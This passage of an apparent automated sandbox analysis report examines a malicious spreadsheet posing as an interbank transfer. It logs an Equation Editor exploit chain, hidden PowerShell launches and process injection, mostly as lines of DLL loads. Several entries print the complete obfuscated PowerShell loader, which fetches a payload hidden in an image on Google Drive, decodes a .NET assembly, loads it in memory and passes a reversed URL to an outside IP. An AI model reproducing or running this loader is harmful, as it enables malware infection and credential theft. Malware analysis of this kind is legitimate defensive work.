BkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) \| & ((varIABLE 'Mdr').Name[3,11,2]-JOin'')"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wbemcomn2.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vaultcli.dll	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: transferencia interbancaria_66579.xlam.xlsx

Initial sample: OLE zip file path = xl/calcChain.xml

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000008.00000002.520018273.0000000000872000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000008.00000002.520018273.0000000000872000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000008.00000002.520018273.0000000000872000.00000004.00000800.00020000.00000000.sdmp

Source: transferencia interbancaria_66579.xlam.xlsx

Initial sample: OLE indicators vbamacros = False

Data Obfuscation

Obfuscated command line found

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) \| & ((varIABLE 'Mdr').Name[3,11,2]-JOin'')"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) \| & ((varIABLE 'Mdr').Name[3,11,2]-JOin'')"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) \| & ((varIABLE 'Mdr').Name[3,11,2]-JOin'')"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 